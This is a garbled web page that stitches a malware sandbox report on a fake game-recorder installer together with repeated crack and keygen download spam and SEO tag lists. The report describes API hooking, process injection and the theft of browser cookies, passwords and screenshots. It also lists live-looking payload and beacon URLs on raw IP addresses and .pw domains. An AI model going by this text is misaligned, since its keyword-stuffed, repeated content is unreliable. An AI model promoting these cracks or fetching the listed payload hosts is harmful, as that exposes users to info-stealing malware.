  GetFileAttributesExW
  CreateProcessA
  Sleep
  GetFileAttributesExA
  accept
  WSAStartup
  connect
  closesocket
  send
  listen
  recv
  socket
  bind
  recvfrom
  sendto
  VirtualAllocEx
  VirtualProtect
  LoadLibraryExA
  SleepConditionVariableSRW
  GetTickCount64
  VirtualProtectEx
  source
  Static Parser
  relevance
  1/10
- Installs nexxzy game recorder Free Activators the running process
  details
  "nexxzyinstaller.exe" wrote bytes "b4360200" to virtual address "0x74E54EA4" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "b436e574" to virtual address "0x74E601E4" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "6012ee72" to virtual address "0x76E6E324" (part of module "WININET.DLL")
  "nexxzyinstaller.exe" wrote bytes "db4da47300000000" to virtual address "0x00A52000" (part of module "NEXXZYINSTALLER.EXE")
  "nexxzyinstaller.exe" wrote bytes "d83ae574" to nexxzy game recorder Free Activators address "0x74E601E0" sound forge audio studio 12 manual of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "b436e574" to virtual address "0x74E60200" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "711175007a3b7400ab8b02007f950200fc8c0200729602006cc805001ecd71007d267100" to virtual address "0x76EC07E4" (part of module "USER32.DLL")
  "nexxzyinstaller.exe" wrote bytes "c0df5b771cf95a77ccf85a770d645c7700000000c011b07600000000fc3eb07600000000e013b076000000009457c07525e05b77c6e05b7700000000bc6abf7500000000cf31b076000000009319c075000000002c32b07600000000" to virtual address "0x756C1000" (part of module "NSI.DLL")
  "nexxzyinstaller.exe" wrote bytes "b4360200" to virtual address "0x74E54D68" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "b8c015ee72ffe0" to virtual address "0x74E536B4" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "d83ae574" to virtual address "0x74E60274" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "b83012ee72ffe0" to virtual address "0x75BB1368" (part of module "WS2_32.DLL")
  "nexxzyinstaller.exe" wrote bytes "7d56ea58" to virtual address "0x732DF314" (part of module "CLR.DLL")
  "nexxzyinstaller.exe" wrote bytes "b436e574" to virtual address "0x74E6025C" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "d83ae574" to virtual address "0x74E601FC" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "68130000" to virtual address "0x75BB1680" (part of module "WS2_32.DLL")
  "nexxzyinstaller.exe" wrote bytes "b84013ee72ffe0" to virtual address "0x74E53AD8" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "d83a0200" to virtual address "0x74E54E38" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "d83a0200" to virtual address "0x74E54D78" (part of module "SSPICLI.DLL")
  "nexxzyinstaller.exe" wrote bytes "d83ae574" to virtual address "0x74E60258" (part of module "SSPICLI.DLL")
  source
  Hook Detection
  relevance
  10/10
  ATT&CK ID
  dvdfab 11 keygen Activators Patch T1179 nexxzy game recorder Free Activators (Show technique in the MITRE ATT&CK™ matrix)
- nexxzy game recorder Free Activators Reads information about supported languages
  details
  "nexxzyinstaller.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  "471495385779.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  source
  Registry Access
  relevance
  3/10
  ATT&CK ID
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
Hiding 12 Suspicious Indicators
- All indicators are available only in the private webservice or standalone version

Anti-Reverse Engineering
Environment Awareness
- Contains ability to query machine time
- Queries volume information All Adobe CCCrack
  details
  nexxzy game recorder Free Activators "nexxzyinstaller.exe" queries volume information of "C:\nexxzyinstaller.exe" at 00023283-00003512-00000046-5175352714
  "svhost.exe" queries volume information of "%ALLUSERSPROFILE%\182857732242969\cookies\Mozilla Firefox_fg6ygf16.default.txt" at 00023694-00002888-00000046-37546816193
  "svhost.exe" queries volume information of "%ALLUSERSPROFILE%\182857732242969\passwords.txt" at 00023694-00002888-00000046-37694540737
  "svhost.exe" queries volume information of "%ALLUSERSPROFILE%\182857732242969\screenshot.jpg" at 00023694-00002888-00000046-37749194960
  "svhost.exe" queries volume information of nexxzy game recorder Free Activators at 00023694-00002888-00000046-37809969858
  "471495385779.exe" queries volume information of "%ALLUSERSPROFILE%\471495385779.exe" nexxzy game recorder Free Activators 00024531-00003612-00000046-47609712191 nexxzy game recorder Free Activators
  source
  API Call
  relevance
  2/10
  ATT&CK ID
  nexxzy game recorder Free Activators T1120 (Show technique in the MITRE ATT&CK™ matrix)

Incident Response

Risk Assessment

Spyware: K7 Total Security 16.0.0532 Crack With Activation Key [Latest 2021] Free POSTs files to a webserver
Persistence: Spawns a lot of processes
Fingerprint: nexxzy game recorder Free Activators nexxzy game recorder Free Activators Queries kernel debugger information nexxzy game recorder Free Activators
Queries process information
nexxzy game recorder Free Activators Queries sensitive IE security settings nexxzy game recorder Free Activators
Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)
Reads the active computer name
Reads the cryptographic machine GUID Gilisoft Video Editor Serial Key
nexxzy game recorder Free Activators Tries to identify its external IP address
Evasive: nexxzy game recorder Free Activators Marks file for deletion
Possibly tries to implement anti-virtualization techniques
Tries to sleep for a long time (more than two minutes)
Spreading: nexxzy game recorder Free Activators GoodSync Enterprise 11.7.6.6 Crack + License Keygen [Latest] Opens the MountPointManager (often used to detect additional infection locations)
Network Behavior: Contacts 1 domain and 3 hosts, nexxzy game recorder Free Activators. nexxzy game recorder Free Activators View all details

MITRE ATT&CK™ Techniques Detection

This report has 22 indicators that were mapped to 16 attack techniques and 7 tactics. View all details

Execution
T1035	Service Execution	nexxzy game recorder Free Activators Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as nexxzy game recorder Free Activators Service Control Manager. nexxzy game recorder Free Activators Learn more	1 confidential indicators
Persistence
T1215	Kernel Modules and Extensions	Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Learn more
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more
Privilege Escalation
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	1 confidential indicators nexxzy game recorder Free Activators nexxzy game recorder Free Activators
T1179	Hooking	Credential Access Persistence Privilege Escalation	Mailbird Pro For Windows Windows processes often leverage application programming interface (API) functions to perform tasks Password Recovery Bundle 2020 Crack require reusable system resources. Learn more
Defense Evasion
T1055	Process Injection	Defense Evasion Privilege Nexxzy game recorder Free Activators Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	1 confidential indicators
T1116	Code Signing	Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with, nexxzy game recorder Free Activators. Learn more
T1107	File Deletion	Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Learn more
T1045	Software Packing	nexxzy game recorder Free Activators Software packing is a method of compressing or encrypting an executable. Learn more
T1112	Modify Registry	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, nexxzy game recorder Free Activators, or as part of other techniques to aid in [[Persistence]] and [[Execution]]. Learn more
Credential Access
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources, nexxzy game recorder Free Activators. Learn more
Discovery
T1012	Query Registry	nexxzy game recorder Free Activators Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. Learn more
T1124	System Time Discovery	The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. Learn more
T1057	Process Discovery	nexxzy game recorder Free Activators Stellar Data Recovery Pro 10.1.0.0 Crack + Activation Key Free {2021} may attempt to get information about running processes on a system. Learn more	1 confidential indicators
T1120	Peripheral Device Discovery	nexxzy game recorder Free Activators Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Learn more
Command and Control
T1132	Data Encoding	Command and control (C2) information is encoded using a standard data encoding system. Learn more

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Anti-Detection/Stealthyness
External Systems
General
- The analysis extracted a file that was identified as malicious
  details
  nexxzy game recorder Free Activators 1/83 Antivirus vendors marked dropped file "svhost.exe" as malicious (classified as "Trojan.Heur" with 1% detection rate)
  25/70 Antivirus vendors marked dropped file "471495385779.exe" as malicious (classified as "FileRepMalware" with 35% detection rate)
  1/80 Antivirus vendors marked dropped file "sqlite3.dll" as malicious (classified as "O open error." with 1% detection rate)
  19/69 Antivirus vendors marked dropped file "name.exe" as malicious (classified as "HEUR:Trojan.MSIL.Chapak" with 27% detection rate)
  25/70 Antivirus vendors marked dropped file "setup_1_.exe" as malicious (classified as "FileRepMalware" with 35% detection rate)
  source
  Extracted File
  relevance
  10/10
- The analysis spawned a process that was identified as malicious nexxzy game recorder Free Activators
  details
  1/83 Antivirus vendors marked spawned nexxzy game recorder Free Activators "svhost.exe" (PID: 2888) as malicious (classified as "Trojan.Heur" with 1% detection rate)
  25/70 Antivirus vendors marked spawned process "471495385779.exe" (PID: 3612) as malicious (classified as "FileRepMalware" with 35% detection rate)
  source
  Monitored Target
  relevance
  10/10
Installation/Persistance
- Allocates virtual memory in a remote process
  details
  is smart game booster safe nexxzy game recorder Free Activators "nexxzyinstaller.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00021401-0000-0000-C000-000000000046}"
  "nexxzyinstaller.exe" allocated memory in "\RPC Control\OLE4E93B027B3D94B17B385201AFA8A"
  "svhost.exe" allocated memory in "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{e47f4f44-d863-11e7-9d8f-806e6f6e6963}"
  source
  API Call
  relevance
  7/10
  ATT&CK ID
  T1055 nexxzy game recorder Free Activators (Show technique nexxzy game recorder Free Activators the MITRE ATT&CK™ matrix)
- Writes data to a remote process
  details
  nexxzy game recorder Free Activators "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "svhost.exe" wrote 32 bytes to a remote process "%ALLUSERSPROFILE%\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 52 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 4 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 8 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128) nexxzy game recorder Free Activators
  source
  API Call
  relevance
  6/10
  ATT&CK ID
  T1055 (Show technique in the MITRE ATT&CK™ matrix)

Network Related

Malicious artifacts seen in the context of a contacted host

details

Found malicious artifacts nexxzy game recorder Free Activators to "111.90.150.191": .

URL: http://111.90.150.191/mozglue.dll (AV positives: 4/72 scanned on 01/04/2020 23:44:07)
URL: http://111.90.150.191/freebl3.dll (AV positives: 3/72 scanned on 01/04/2020 16:59:42)
URL: http://111.90.150.191/msvcp140.dll (AV positives: 3/72 scanned on 01/03/2020 15:52:47)
URL: http://ppyh.pw/ (AV positives: 6/72 scanned on 01/02/2020 20:13:29)
URL: http://dsadjh.pw/ (AV positives: 6/72 scanned on 01/02/2020 16:11:36)
File SHA256: 0a5de60f8d242caa0bd01cb811358ce2fc9f2f8530013ab650d8ac1950cff5e1 (Date: 01/03/2020 15:30:12)
File SHA256: ad8736ab760ddd9ed96c2a652dae3eb9d8ac6528936ed6d63d858b56ad340ef1 (AV positives: 40/72 scanned on 10/06/2019 13:28:22)
File SHA256: c83b49d714d48006a708ab7d0450e1785784e21615e62782801f5e48bcb6b95d (AV positives: 47/73 scanned on 10/01/2019 19:42:20)
File SHA256: 239d8ee530460eba8104af1eefb5c98c9b080b037e443bebaddf5812cd7ef96f (AV positives: 26/69 scanned on 09/28/2019 06:39:14)
File SHA256: bdcf4dbf6d7918a3c47b77f30c1d641d9a5403d8fd4ad7b38395b56d7431cfd0 (AV positives: 51/72 scanned on 09/16/2019 06:18:27)
File SHA256: f13ac436bff106a8239c201ae5121edd63fc0101ba0d5e9691f6fedad35f75ac (AV positives: 49/72 scanned on 09/03/2019 23:37:33)
Found malicious artifacts related to "111.90.149.201": nexxzy game recorder Free Activators URL: http://111.90.149.201/index.php?ip=207.102.138.11&user=abc&os=Microsoft%20Windows%207%20Professional%20%20

DiRT 5 Latest Free Game Download 2022 DiRT 5 Free Game Download The acclaimed rough terrain hustling establishment returns right now section.conveys mud, sweat, and riggings the world over: from the exceptional climate beat assembly phases of Europe, Africa, and the US, nexxzy game recorder Free Activators, to executing execution driving grandstands and profession challenges where vehicle control is pushed … Read more

Categories Crack Software, GamingTags dirt 3 crack download, dirt 3 crack no dvd, nexxzy game recorder Free Activators, dirt 3 launcher exe download, nexxzy game recorder Free Activators, dirt 3 license key.txt download, dirt 3 nocd, dirt 3 not launching, dirt 3 pc, dirt 3 product key, dirt 3 product key crack, dirt 5 activation key, dirt 5 download, dirt 5 free, dirt 5 game, dirt 5 game download, dirt 5 game engine, nexxzy game recorder Free Activators, dirt 5 game informer review, dirt 5 game installation, dirt 5 game modes, dirt 5 game pass, dirt 5 nexxzy game recorder Free Activators pass won't launch, dirt 5 game review, dirt 5 gameplay, nexxzy game recorder Free Activators, dirt 5 gameplay ps4, dirt 5 gameplay ps5, nexxzy game recorder Free Activators, dirt 5 gamespot, dirt 5 gamestop, dirt 5 license key txt download, dirt 5 pc, nexxzy game recorder Free Activators, dirt 5 price, dirt 5 release date, dirt 5 review, dirt rally key activation free download, gtr 3 license key txt, nexxzy game recorder Free Activators, ps5 dirt 5 game

%2032-bit&av=none&cpu=Intel(R)%20Xeon(R)%20Gold%205115%20CPU%20@%202.40GHz&gpu=Standard%20VGA%20Graphics%20Adapter&screen=1024x768 (AV positives: 6/72 scanned on 01/05/2020 16:33:08)
URL: http://111.90.149.201/index.php?ip=185.76.9.72&user=admin&os=Microsoft%20Windows%207%20Professional%20%20 %2032-bit&av=none&cpu=Intel(R)%20Core(TM)%20i5-6400%20CPU%20@%202.70GHz&gpu=Standard%20VGA%20Graphics%20Adapter&screen=1280x720 (AV positives: 6/72 scanned on 01/05/2020 15:34:52)
URL: http://111.90.149.201/setup.exe nexxzy game recorder Free Activators positives: 8/72 scanned on 01/04/2020 16:59:42)
URL: http://111.90.149.201/index.php?ip=95.211.190.199&user=user&os=Microsoft%20Windows%207%20Enterprise%20%20

Nexxzy game recorder Free Activators - logically

%2032-bit&av=none&cpu=Intel(R)%20Core(TM)%20i5-6400%20CPU%20@%202.70GHz&gpu=Standard%20VGA%20Graphics%20Adapter&screen=1280x720 (AV positives: 6/72 scanned on 01/05/2020 15:34:52)
URL: http://111.90.149.201/setup.exe (AV positives: 8/72 scanned on 01/04/2020 16:59:42)
URL: http://111.90.149.201/index.php?ip=95.211.190.199&user=user&os=Microsoft%20Windows%207%20Enterprise%20%20

Categories Crack Software, GamingTags background game recorder, fbx cracked version, fbx game recorder 3 14 crack, fbx game recorder crack 2022, fbx game recorder crack 2022 cracked, fbx game recorder crack 2022 download, fbx game recorder crack 2022 for pc, fbx game recorder crack 2022 free, fbx game recorder crack 2022 free download, fbx game recorder download, fbx game recorder getintopc, fbx game recorder login, fbx game recorder no watermark, fbx game recorder old version, fbx game recorder support, fbx pro, flashback recorder fbx, game screen recorder for pc 32 bit, how to use fbx game recorder, is fbx game recorder safe, nexxzy game recorder

DiRT 5 Latest Free Game Download 2022 DiRT 5 Free Game Download The acclaimed rough terrain hustling establishment returns right now section.conveys mud, sweat, and riggings the world over: from the exceptional climate beat assembly phases of Europe, Africa, and the US, to executing execution driving grandstands and profession challenges where vehicle control is pushed … Read more

Categories Crack Software, GamingTags dirt 3 crack download, dirt 3 crack no dvd, dirt 3 launcher exe download, dirt 3 license key.txt download, dirt 3 nocd, dirt 3 not launching, dirt 3 pc, dirt 3 product key, dirt 3 product key crack, dirt 5 activation key, dirt 5 download, dirt 5 free, dirt 5 game, dirt 5 game download, dirt 5 game engine, dirt 5 game informer review, dirt 5 game installation, dirt 5 game modes, dirt 5 game pass, dirt 5 game pass won't launch, dirt 5 game review, dirt 5 gameplay, dirt 5 gameplay ps4, dirt 5 gameplay ps5, dirt 5 gamespot, dirt 5 gamestop, dirt 5 license key txt download, dirt 5 pc, dirt 5 price, dirt 5 release date, dirt 5 review, dirt rally key activation free download, gtr 3 license key txt, ps5 dirt 5 game

Incident Response

Risk Assessment

Spyware: POSTs files to a webserver
Persistence: Spawns a lot of processes
Fingerprint: Queries kernel debugger information
Queries process information
Queries sensitive IE security settings
Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)
Reads the active computer name
Reads the cryptographic machine GUID
Tries to identify its external IP address
Evasive: Marks file for deletion
Possibly tries to implement anti-virtualization techniques
Tries to sleep for a long time (more than two minutes)
Spreading: Opens the MountPointManager (often used to detect additional infection locations)
Network Behavior: Contacts 1 domain and 3 hosts. View all details

MITRE ATT&CK™ Techniques Detection

This report has 22 indicators that were mapped to 16 attack techniques and 7 tactics. View all details

Execution
T1035	Service Execution	Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. Learn more	1 confidential indicators
Persistence
T1215	Kernel Modules and Extensions	Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Learn more
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more
Privilege Escalation
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	1 confidential indicators
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more
Defense Evasion
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	1 confidential indicators
T1116	Code Signing	Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Learn more
T1107	File Deletion	Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Learn more
T1045	Software Packing	Software packing is a method of compressing or encrypting an executable. Learn more
T1112	Modify Registry	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in [[Persistence]] and [[Execution]]. Learn more
Credential Access
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more
Discovery
T1012	Query Registry	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. Learn more
T1124	System Time Discovery	The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. Learn more
T1057	Process Discovery	Adversaries may attempt to get information about running processes on a system. Learn more	1 confidential indicators
T1120	Peripheral Device Discovery	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Learn more
Command and Control
T1132	Data Encoding	Command and control (C2) information is encoded using a standard data encoding system. Learn more

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Anti-Detection/Stealthyness
External Systems
General
- The analysis extracted a file that was identified as malicious
  details
  1/83 Antivirus vendors marked dropped file "svhost.exe" as malicious (classified as "Trojan.Heur" with 1% detection rate)
  25/70 Antivirus vendors marked dropped file "471495385779.exe" as malicious (classified as "FileRepMalware" with 35% detection rate)
  1/80 Antivirus vendors marked dropped file "sqlite3.dll" as malicious (classified as "O open error." with 1% detection rate)
  19/69 Antivirus vendors marked dropped file "name.exe" as malicious (classified as "HEUR:Trojan.MSIL.Chapak" with 27% detection rate)
  25/70 Antivirus vendors marked dropped file "setup_1_.exe" as malicious (classified as "FileRepMalware" with 35% detection rate)
  source
  Extracted File
  relevance
  10/10
- The analysis spawned a process that was identified as malicious
  details
  1/83 Antivirus vendors marked spawned process "svhost.exe" (PID: 2888) as malicious (classified as "Trojan.Heur" with 1% detection rate)
  25/70 Antivirus vendors marked spawned process "471495385779.exe" (PID: 3612) as malicious (classified as "FileRepMalware" with 35% detection rate)
  source
  Monitored Target
  relevance
  10/10
Installation/Persistance
- Allocates virtual memory in a remote process
  details
  "nexxzyinstaller.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00021401-0000-0000-C000-000000000046}"
  "nexxzyinstaller.exe" allocated memory in "\RPC Control\OLE4E93B027B3D94B17B385201AFA8A"
  "svhost.exe" allocated memory in "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{e47f4f44-d863-11e7-9d8f-806e6f6e6963}"
  source
  API Call
  relevance
  7/10
  ATT&CK ID
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
- Writes data to a remote process
  details
  "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "svhost.exe" wrote 32 bytes to a remote process "%ALLUSERSPROFILE%\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 52 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 4 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 8 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  source
  API Call
  relevance
  6/10
  ATT&CK ID
  T1055 (Show technique in the MITRE ATT&CK™ matrix)

Network Related

Malicious artifacts seen in the context of a contacted host

details

Found malicious artifacts related to "111.90.150.191": ...

URL: http://111.90.150.191/mozglue.dll (AV positives: 4/72 scanned on 01/04/2020 23:44:07)
URL: http://111.90.150.191/freebl3.dll (AV positives: 3/72 scanned on 01/04/2020 16:59:42)
URL: http://111.90.150.191/msvcp140.dll (AV positives: 3/72 scanned on 01/03/2020 15:52:47)
URL: http://ppyh.pw/ (AV positives: 6/72 scanned on 01/02/2020 20:13:29)
URL: http://dsadjh.pw/ (AV positives: 6/72 scanned on 01/02/2020 16:11:36)
File SHA256: 0a5de60f8d242caa0bd01cb811358ce2fc9f2f8530013ab650d8ac1950cff5e1 (Date: 01/03/2020 15:30:12)
File SHA256: ad8736ab760ddd9ed96c2a652dae3eb9d8ac6528936ed6d63d858b56ad340ef1 (AV positives: 40/72 scanned on 10/06/2019 13:28:22)
File SHA256: c83b49d714d48006a708ab7d0450e1785784e21615e62782801f5e48bcb6b95d (AV positives: 47/73 scanned on 10/01/2019 19:42:20)
File SHA256: 239d8ee530460eba8104af1eefb5c98c9b080b037e443bebaddf5812cd7ef96f (AV positives: 26/69 scanned on 09/28/2019 06:39:14)
File SHA256: bdcf4dbf6d7918a3c47b77f30c1d641d9a5403d8fd4ad7b38395b56d7431cfd0 (AV positives: 51/72 scanned on 09/16/2019 06:18:27)
File SHA256: f13ac436bff106a8239c201ae5121edd63fc0101ba0d5e9691f6fedad35f75ac (AV positives: 49/72 scanned on 09/03/2019 23:37:33)
Found malicious artifacts related to "111.90.149.201": ...

URL: http://111.90.149.201/index.php?ip=207.102.138.11&user=abc&os=Microsoft%20Windows%207%20Professional%20%20 %2032-bit&av=none&cpu=Intel(R)%20Xeon(R)%20Gold%205115%20CPU%20@%202.40GHz&gpu=Standard%20VGA%20Graphics%20Adapter&screen=1024x768 (AV positives: 6/72 scanned on 01/05/2020 16:33:08)
URL: http://111.90.149.201/index.php?ip=185.76.9.72&user=admin&os=Microsoft%20Windows%207%20Professional%20%20

That necessary: Nexxzy game recorder Free Activators

AVIRA ANTIVIRUS PRO CRACK 2020 ACTIVATORS PATCH

MOVAVI VIDEO CONVERTER CRACK PATCH

FILEHORSE AVAST

Zemana AntiMalware Premium 5 Patch Softs4Pc

Hma pro vpn activation code Free Activators

Nexxzy game recorder Free Activators - will

Incident Response

Risk Assessment

Spyware: POSTs files to a webserver
Persistence: Spawns a lot of processes
Fingerprint: Queries kernel debugger information
Queries process information
Queries sensitive IE security settings
Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)
Reads the active computer name
Reads the cryptographic machine GUID
Tries to identify its external IP address
Evasive: Marks file for deletion
Possibly tries to implement anti-virtualization techniques
Tries to sleep for a long time (more than two minutes)
Spreading: Opens the MountPointManager (often used to detect additional infection locations)
Network Behavior: Contacts 1 domain and 3 hosts. View all details

MITRE ATT&CK™ Techniques Detection

This report has 22 indicators that were mapped to 16 attack techniques and 7 tactics. View all details

Execution
T1035	Service Execution	Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. Learn more	1 confidential indicators
Persistence
T1215	Kernel Modules and Extensions	Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Learn more
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more
Privilege Escalation
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	1 confidential indicators
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more
Defense Evasion
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	1 confidential indicators
T1116	Code Signing	Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Learn more
T1107	File Deletion	Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Learn more
T1045	Software Packing	Software packing is a method of compressing or encrypting an executable. Learn more
T1112	Modify Registry	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in [[Persistence]] and [[Execution]]. Learn more
Credential Access
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more
Discovery
T1012	Query Registry	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. Learn more
T1124	System Time Discovery	The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. Learn more
T1057	Process Discovery	Adversaries may attempt to get information about running processes on a system. Learn more	1 confidential indicators
T1120	Peripheral Device Discovery	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Learn more
Command and Control
T1132	Data Encoding	Command and control (C2) information is encoded using a standard data encoding system. Learn more

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Anti-Detection/Stealthyness
External Systems
General
- The analysis extracted a file that was identified as malicious
  details
  1/83 Antivirus vendors marked dropped file "svhost.exe" as malicious (classified as "Trojan.Heur" with 1% detection rate)
  25/70 Antivirus vendors marked dropped file "471495385779.exe" as malicious (classified as "FileRepMalware" with 35% detection rate)
  1/80 Antivirus vendors marked dropped file "sqlite3.dll" as malicious (classified as "O open error." with 1% detection rate)
  19/69 Antivirus vendors marked dropped file "name.exe" as malicious (classified as "HEUR:Trojan.MSIL.Chapak" with 27% detection rate)
  25/70 Antivirus vendors marked dropped file "setup_1_.exe" as malicious (classified as "FileRepMalware" with 35% detection rate)
  source
  Extracted File
  relevance
  10/10
- The analysis spawned a process that was identified as malicious
  details
  1/83 Antivirus vendors marked spawned process "svhost.exe" (PID: 2888) as malicious (classified as "Trojan.Heur" with 1% detection rate)
  25/70 Antivirus vendors marked spawned process "471495385779.exe" (PID: 3612) as malicious (classified as "FileRepMalware" with 35% detection rate)
  source
  Monitored Target
  relevance
  10/10
Installation/Persistance
- Allocates virtual memory in a remote process
  details
  "nexxzyinstaller.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{00021401-0000-0000-C000-000000000046}"
  "nexxzyinstaller.exe" allocated memory in "\RPC Control\OLE4E93B027B3D94B17B385201AFA8A"
